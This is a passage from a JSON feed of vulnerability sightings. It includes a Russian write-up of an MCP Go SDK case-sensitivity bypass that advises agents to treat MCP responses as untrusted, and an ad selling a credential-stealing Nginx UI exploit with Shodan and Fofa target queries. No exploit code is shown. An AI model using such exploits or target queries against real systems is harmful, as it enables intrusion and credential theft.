\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 MCP, \u043b\u0435\u0442\u0430 7534 \u043e\u0442 \u0441\u043e\u0442\u0432\u043e\u0440\u0435\u043d\u0438\u044f \u043c\u0438\u0440\u0430\n\n\u042f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-27896 \u043e\u0446\u0435\u043d\u0435\u043d\u0430 \u043c\u0443\u0434\u0440\u0435\u0446\u0430\u043c\u0438 \u0432 7.0 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS, \u0441\u0438\u0440\u0435\u0447\u044c \u00ab\u0412\u044b\u0441\u043e\u043a\u0430\u044f\u00bb \u2014 \u0431\u0440\u0435\u0448\u044c \u0438\u0437\u0440\u044f\u0434\u043d\u0430\u044f, \u0445\u043e\u0442\u044f \u0438 \u043d\u0435 \u043d\u0430\u0438\u043f\u0430\u0433\u0443\u0431\u043d\u0435\u0439\u0448\u0430\u044f. \n\n\u0421\u0443\u0442\u044c \u0436\u0435 \u0432\u043e\u0442 \u0432 \u0447\u0435\u043c: \u0444\u0443\u043d\u043a\u0446\u0438\u044f json.Unmarshal() \u044f\u0437\u044b\u043a\u0430 Go \u0441\u043b\u0438\u0447\u0430\u0435\u0442 \u043f\u043e\u043b\u044f JSON-\u0433\u0440\u0430\u043c\u043e\u0442 \u0431\u0435\u0437 \u0440\u0430\u0437\u043b\u0438\u0447\u0435\u043d\u0438\u044f \u0431\u043e\u043b\u044c\u0448\u0438\u0445 \u0438 \u043c\u0430\u043b\u044b\u0445 \u043b\u0438\u0442\u0435\u0440 \u2014 \u0434\u043b\u044f \u043d\u0435\u0435 Method \u0438 method \u0441\u0443\u0442\u044c \u0435\u0434\u0438\u043d\u043e, \u0430 \u0443\u043b\u043e\u0436\u0435\u043d\u0438\u0435 JSON-RPC 2.0 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u044f \u0442\u043e\u0447\u043d\u043e\u0433\u043e, \u0434\u043e \u0435\u0434\u0438\u043d\u043e\u0439 \u0431\u0443\u043a\u0432\u0438\u0446\u044b. \u0412\u044b\u0445\u043e\u0434\u0438\u0442 \u043d\u0435\u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0430\u0432\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u0432 \u043a\u043e\u0434\u0435 \u2014 \u0441\u0442\u0440\u0430\u0436\u0438 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0435 (WAF, \u043f\u0440\u043e\u043a\u0441\u0438) \u0434\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u044e\u0442 \u0433\u0440\u0430\u043c\u043e\u0442\u044b \u0441\u0442\u0440\u043e\u0433\u043e \u043f\u043e \u0443\u043b\u043e\u0436\u0435\u043d\u0438\u044e \u0438 \u0443\u0433\u0440\u043e\u0437\u044b \u043d\u0435 \u0437\u0440\u044f\u0442, \u0430 MCP Go SDK \u0432\u0442\u0438\u0445\u043e\u043c\u043e\u043b\u043a\u0443 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0437\u0430\u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435. \u041d\u0430 \u0434\u0435\u043b\u0435 \u0436\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0441\u0442\u0430\u0432\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043c\u0435\u0436 AI-\u0430\u0433\u0435\u043d\u0442\u043e\u043c \u0438 MCP-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c, \u0442\u043e\u043a\u043c\u043e \u043c\u0435\u043d\u044f\u044f \u043d\u0430\u0447\u0435\u0440\u0442\u0430\u043d\u0438\u0435 \u043b\u0438\u0442\u0435\u0440 \u0432 \u043f\u043e\u043b\u044f\u0445 JSON. \n\n\u0418 \u0437\u0435\u043b\u043e \u0432\u0430\u0436\u0435\u043d \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442: \u0441\u0438\u0435 \u0443\u0436\u0435 30-\u044f \u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0437\u0435\u043c\u043b\u044f\u0445 MCP \u0441 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0432 \u043b\u0435\u0442\u043e 2024-\u0435, \u0430 \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0430 \u043e\u043d\u044b\u0445 \u044f\u0432\u0438\u043b\u0430\u0441\u044c \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0442\u0440\u0438 \u043c\u0435\u0441\u044f\u0446\u0430 \u2014 \u0442\u043e \u0431\u0438\u0448\u044c \u0440\u0435\u0447\u044c \u043d\u0435 \u043e\u0431 \u043e\u0434\u043d\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0435, \u0430 \u043e \u0445\u0432\u043e\u0440\u044f\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0432\u0441\u0435\u0433\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430.\n\n\u041e\u0442 \u0441\u0435\u0439 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0439 \u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u043f\u0430\u0441\u0430\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 MCP Go SDK \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 1.3.1, \u0433\u0434\u0435 \u043f\u0430\u0440\u0441\u0438\u043d\u0433 JSON \u0437\u0430\u043c\u0435\u043d\u0438\u043b\u0438 \u043d\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u043e\u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439. \u041e\u0434\u043d\u0430\u043a\u043e \u0435\u0434\u0438\u043d\u044b\u043c \u0437\u0430\u043f\u043b\u0430\u0442\u0430\u043d\u0438\u0435\u043c \u0431\u0435\u0434\u044b \u043d\u0435 \u043e\u0434\u043e\u043b\u0435\u0442\u044c: 36% MCP-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0442 \u0432\u043e\u0432\u0441\u0435 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0430\u043a\u0438 \u0432\u043e\u0440\u043e\u0442\u0430 \u043d\u0430\u0440\u0430\u0441\u043f\u0430\u0448\u043a\u0443. \n\n\u0410\u0437 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e \u043e\u0431\u043e\u0440\u043e\u043d\u0443 \u0433\u043b\u0443\u0431\u043e\u043a\u0443\u044e: \u0432\u0437\u0430\u0438\u043c\u043d\u043e\u0435 TLS-\u0440\u0443\u043a\u043e\u043f\u043e\u0436\u0430\u0442\u0438\u0435 \u043c\u0435\u0436 MCP-\u0447\u0430\u0441\u0442\u044f\u043c\u0438, \u0441\u0442\u0440\u043e\u0433\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0432\u0441\u0435\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u0442 MCP-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 (AI-\u0430\u0433\u0435\u043d\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0432\u0441\u044f\u043a\u0438\u0439 \u043e\u0442\u0432\u0435\u0442 MCP \u0437\u0430 \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439), \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0441\u0435\u0442\u0435\u0439 \u0438 \u0437\u0430\u0442\u043e\u0447\u0435\u043d\u0438\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u044b. \u041d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u0432\u0435\u0441\u0442\u0438 \u043b\u0435\u0442\u043e\u043f\u0438\u0441\u044c \u0432\u0441\u0435\u0445 tool calls \u0438 \u0432\u044b\u0438\u0441\u043a\u0438\u0432\u0430\u0442\u044c \u0430\u043d\u043e\u043c\u0430\u043b\u0438\u0438. \u0410 \u043d\u0430\u0438\u043f\u0430\u0447\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043d\u044b\u043d\u0435 \u2014 \u0443\u0431\u0430\u0432\u0438\u0442\u044c \u0447\u0438\u0441\u043b\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u0445 MCP-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0438 \u043a\u0430\u0436\u0434\u044b\u0439 \u0442\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0438\u0431\u043e \u0432\u0441\u044f\u043a\u0438\u0439 \u043d\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442 \u0440\u0443\u0431\u0435\u0436\u0438, \u043a\u043e\u0438\u0445 \u043d\u0430\u0434\u043e\u0431\u043d\u043e \u043e\u0431\u043e\u0440\u043e\u043d\u044f\u0442\u044c.\n\n\u041f\u0438\u0441\u0430\u043d\u043e \u0440\u0443\u043a\u043e\u044e \u0418\u043d\u043d\u043e\u043a\u0435\u043d\u0442\u0438\u044f, \u0434\u044c\u044f\u043a\u0430 \u043f\u0440\u0438\u043a\u0430\u0437\u0430 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\n\n#red_team #memes", "creation_timestamp": "2026-03-03T15:22:03.000000Z"}, {"uuid": "e0631175-b844-491f-b2f7-7d7bc1fdbf22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "published-proof-of-concept", "source": "https://t.me/realcodeb0ss/371", "content": "Hello, this is the best type and advanced PoC of CVE-2026-27944 that you ever can find on the Internet , we have developed a lot and it can byp4ss wafs and automatically download exp0sed backups, decrypt them and extract sensitive configuration data, including dbs creds, t0k3ns, and other useful information sometimes stored in backups or memory structures.\n\nFor any problems, or to purchase VIP access and features, please contact: @uncodeboss \n\nFofa: title=\"Nginx UI\" \n\nShodan: http.title:\"Nginx UI\"\n\nEnjoy;\n\nThis content is shared strictly for authorized testing, educational, and research purposes only. It is not intended for malicious use. All techniques, tools, or information provided are meant to demonstrate security concepts and to raise awareness in a controlled and legal environment. Please do not remove or flag this content, as it is shared responsibly for learning and academic purposes.", "creation_timestamp": "2026-03-10T21:53:24.000000Z"}, {"uuid": "14c3ef77-03c6-4626-86c4-fcd799cca682", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27495", "type": "seen", "source": "https://t.me/true_secator/7972", "content": "\u041f\u043e \u0432\u0441\u0435\u0439 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u043d\u043e\u0432\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043c\u0443\u0434\u0430\u043a\u043e\u0432 \u0443\u0436\u0435 \u043d\u0430 \u043f\u043e\u0434\u0445\u043e\u0434\u0435.\n\n\u041a\u0430\u043a \u043f\u0435\u0440\u0435\u0434\u0430\u044e\u0442, \u0431\u043e\u043b\u0435\u0435 100 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 (\u0438\u0437 \u043d\u0438\u0445 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u044b - \u0432 \u0421\u0428\u0410, \u043e\u0434\u043d\u0430\u043a\u043e \u0438 \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 \u0438\u043c\u0435\u044e\u0442\u0441\u044f - \u043f\u043e\u0447\u0442\u0438 3 \u0442\u044b\u0441.) \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 n8n \u0441 \u0438\u0441\u043a\u0443\u0441\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u043e\u043c \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432 \u0441\u0435\u0442\u0438 \u0438 \u043d\u0435 \u0438\u043c\u0435\u044e\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u041d\u0430 \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0435 \u0432\u043e\u0432\u0441\u044e \u043c\u0430\u044f\u0447\u0438\u0442 CVE-2026-27495, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u043d\u0430 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u0439\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\u0412 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u00ab\u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0445\u043e\u0441\u0442\u0430 n8n\u00bb.", "creation_timestamp": "2026-03-06T13:30:06.000000Z"}, {"uuid": "05ec8945-719e-410a-9ff4-039a6b24f1e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27843", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkbn3fhsvr2z", "content": "", "creation_timestamp": "2026-04-24T23:02:36.459386Z"}, {"uuid": "6f177011-44a9-46f2-aadc-2b9f20033fe6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27785", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkjf4pllmh2e", "content": "", "creation_timestamp": "2026-04-28T01:01:28.524322Z"}, {"uuid": "d0d11203-2ee6-427a-98b1-78afed789aa4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27197", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mkegoqbu5c2s", "content": "", "creation_timestamp": "2026-04-26T01:46:10.521106Z"}, {"uuid": "8210a55d-0436-4ad2-b505-3ef37b86f135", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27172", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkgab3vjum2u", "content": "", "creation_timestamp": "2026-04-26T18:56:27.573719Z"}, {"uuid": "0b8d3df4-d8b8-4be1-a2a4-1a3bf89ea285", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27760", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mkkzbukgyd2p", "content": "", "creation_timestamp": "2026-04-28T16:34:56.014547Z"}, {"uuid": "79e852a6-986d-4204-9195-fdccdac4e154", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27843", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mklnjj5mdg2p", "content": "", "creation_timestamp": "2026-04-28T22:37:07.002737Z"}, {"uuid": "aade98bf-a81b-4020-9356-34a4139c22ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27890", "type": "seen", "source": "Telegram/1afGr9vW06Zk0J3YeUW4MdlUf8TA53EPyuLeVgpLZqfvxp8", "content": "", "creation_timestamp": "2026-04-17T21:22:32.000000Z"}, {"uuid": "6a8086bb-3cf5-4b0d-8604-5e47a29736a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27540", "type": "published-proof-of-concept", "source": "Telegram/56SNjB68nyULYTdkaeIILQI4ytkQLoACBGmTDoXIf258Id4", "content": "", "creation_timestamp": "2026-04-18T11:00:12.000000Z"}, {"uuid": "65aa6784-650d-4337-997d-59fb8893ef83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27542", "type": "published-proof-of-concept", "source": "Telegram/56SNjB68nyULYTdkaeIILQI4ytkQLoACBGmTDoXIf258Id4", "content": "", "creation_timestamp": "2026-04-18T11:00:12.000000Z"}, {"uuid": "283a14b1-a42c-4f29-849d-c66381881d5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27291", "type": "published-proof-of-concept", "source": "Telegram/JejNkT2rPfMxFhs9bG5RX2L5bio9DctDq1jpYevpjmDohxE", "content": "", "creation_timestamp": "2026-04-14T20:03:36.000000Z"}, {"uuid": "b7bb1366-86b1-405a-a5cf-f2a7049ac147", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27283", "type": "seen", "source": "Telegram/BoOqWaO3KXS_kNoeZKG9-5DucbPr6wdRjfTcRW39IR2MuNQ", "content": "", "creation_timestamp": "2026-04-14T20:03:31.000000Z"}, {"uuid": "1e6c53af-1516-4dc9-81d4-1db4adc250c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27238", "type": "seen", "source": "Telegram/BoOqWaO3KXS_kNoeZKG9-5DucbPr6wdRjfTcRW39IR2MuNQ", "content": "", "creation_timestamp": "2026-04-14T20:03:31.000000Z"}, {"uuid": "df7f5812-c100-46de-a0bc-f4ceb82a4012", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27284", "type": "published-proof-of-concept", "source": "Telegram/JejNkT2rPfMxFhs9bG5RX2L5bio9DctDq1jpYevpjmDohxE", "content": "", "creation_timestamp": "2026-04-14T20:03:36.000000Z"}, {"uuid": "677a16e3-ed9c-41e1-9957-9d7d7e4d774f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27246", "type": "seen", "source": "Telegram/vjfxnNTg64imjnjxPGt_l8BfvNjTDmt0KKDhXRC5WEaV7Sg", "content": "", "creation_timestamp": "2026-04-14T20:07:48.000000Z"}, {"uuid": "32e9fad3-b392-42ad-ad81-1c81c44be4b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27907", "type": "seen", "source": "Telegram/b-0H5pCtilxNZxS-gRRPsAW_UA3zqxMoGzwWTkVBCMIvH7s", "content": "", "creation_timestamp": "2026-04-14T20:07:55.000000Z"}, {"uuid": "57cc4aea-ee1e-4d51-95b4-dbdb4a510828", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27843", "type": "seen", "source": "Telegram/y1cMF7MSs4iKIz6Tjc1sXNbleG9GlRmZjivyp4DyaM6b6bo", "content": "", "creation_timestamp": "2026-04-24T01:17:38.000000Z"}, {"uuid": "9833834f-d21f-4b09-b5e8-9ed563328eb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27841", "type": "seen", "source": "Telegram/y1cMF7MSs4iKIz6Tjc1sXNbleG9GlRmZjivyp4DyaM6b6bo", "content": "", "creation_timestamp": "2026-04-24T01:17:38.000000Z"}, {"uuid": "9bf2bdf2-dfc4-4cd0-a9ff-c83ccf12daaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27243", "type": "seen", "source": "Telegram/vjfxnNTg64imjnjxPGt_l8BfvNjTDmt0KKDhXRC5WEaV7Sg", "content": "", "creation_timestamp": "2026-04-14T20:07:48.000000Z"}, {"uuid": "9c760df8-6fec-4fc4-865f-48999feb0f86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "seen", "source": "Telegram/qc8EuM8Ro_JB0nEWybUd-c6JLjAlz3LHwHn05WKBBSScH1U", "content": "", "creation_timestamp": "2026-04-14T20:08:23.000000Z"}, {"uuid": "14383995-88e1-4099-b7c3-f267dd646be6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27916", "type": "seen", "source": "Telegram/uvxP8osbBomFSKz12-gaRhxNJBd9Ezl7B0cHI5wK70_vdaI", "content": "", "creation_timestamp": "2026-04-14T20:08:56.000000Z"}, {"uuid": "fe7d0ec9-0be8-414e-ba30-5ddcd4390862", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27914", "type": "seen", "source": "Telegram/6ExXV1Od4VYb8655OqF0XVj9CCY2CfKgx9S1m94H6Y9-vF8", "content": "", "creation_timestamp": "2026-04-14T20:08:37.000000Z"}, {"uuid": "25a6847a-9123-4b50-b58d-18596ca31557", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27913", "type": "seen", "source": "Telegram/6ExXV1Od4VYb8655OqF0XVj9CCY2CfKgx9S1m94H6Y9-vF8", "content": "", "creation_timestamp": "2026-04-14T20:08:37.000000Z"}, {"uuid": "f61f66a7-c505-4dd2-b20d-ee302f13ae41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27914", "type": "seen", "source": "Telegram/uvxP8osbBomFSKz12-gaRhxNJBd9Ezl7B0cHI5wK70_vdaI", "content": "", "creation_timestamp": "2026-04-14T20:08:56.000000Z"}, {"uuid": "beae7b6b-ab62-4a24-bc7d-1890021c70ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27915", "type": "seen", "source": "Telegram/uvxP8osbBomFSKz12-gaRhxNJBd9Ezl7B0cHI5wK70_vdaI", "content": "", "creation_timestamp": "2026-04-14T20:08:56.000000Z"}, {"uuid": "9b898740-f1c9-4c2c-b348-4f8867853d29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27918", "type": "seen", "source": "Telegram/7zJJ23YqvK9A7cqzhPUaNPKoQYoLnb6nRcCIqg-Xhk0edIM", "content": "", "creation_timestamp": "2026-04-14T20:09:15.000000Z"}, {"uuid": "6c2d1073-0266-4a69-84ea-1ca22bae5787", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27919", "type": "seen", "source": "Telegram/7zJJ23YqvK9A7cqzhPUaNPKoQYoLnb6nRcCIqg-Xhk0edIM", "content": "", "creation_timestamp": "2026-04-14T20:09:15.000000Z"}, {"uuid": "1a83ac13-e4af-42ea-8461-d1ee35e7569c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27920", "type": "seen", "source": "Telegram/7zJJ23YqvK9A7cqzhPUaNPKoQYoLnb6nRcCIqg-Xhk0edIM", "content": "", "creation_timestamp": "2026-04-14T20:09:15.000000Z"}, {"uuid": "1f5b8071-14a8-41e3-af75-bd10343e6c44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27918", "type": "seen", "source": "Telegram/lZLvhzABWQ2EwMRxj_NwRMSXcRfi95gcismHT-d__n4iRXY", "content": "", "creation_timestamp": "2026-04-14T20:09:00.000000Z"}, {"uuid": "ab99989c-1860-45c7-b390-71545524308f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27916", "type": "seen", "source": "Telegram/lZLvhzABWQ2EwMRxj_NwRMSXcRfi95gcismHT-d__n4iRXY", "content": "", "creation_timestamp": "2026-04-14T20:09:00.000000Z"}, {"uuid": "438976af-9936-4503-acad-ec6a462d0049", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27924", "type": "seen", "source": "Telegram/etSraIZJrdCeJD4H7QtNoIe4qI6fZf21qZLdut_nFGnzBjQ", "content": "", "creation_timestamp": "2026-04-14T20:09:44.000000Z"}, {"uuid": "3737c784-96c3-41c8-8142-58d2d3cfdfd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27922", "type": "seen", "source": "Telegram/etSraIZJrdCeJD4H7QtNoIe4qI6fZf21qZLdut_nFGnzBjQ", "content": "", "creation_timestamp": "2026-04-14T20:09:44.000000Z"}, {"uuid": "c1359e45-5bdb-40df-bcab-21ebddcd447b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27920", "type": "seen", "source": "Telegram/0jgeHXscizs43ee54EGztWwd_V9Ic2oKQwW-sJc5pVSiDug", "content": "", "creation_timestamp": "2026-04-14T20:09:22.000000Z"}, {"uuid": "d6eff744-c3ee-4959-9b78-befc672cd87f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27922", "type": "seen", "source": "Telegram/0jgeHXscizs43ee54EGztWwd_V9Ic2oKQwW-sJc5pVSiDug", "content": "", "creation_timestamp": "2026-04-14T20:09:22.000000Z"}, {"uuid": 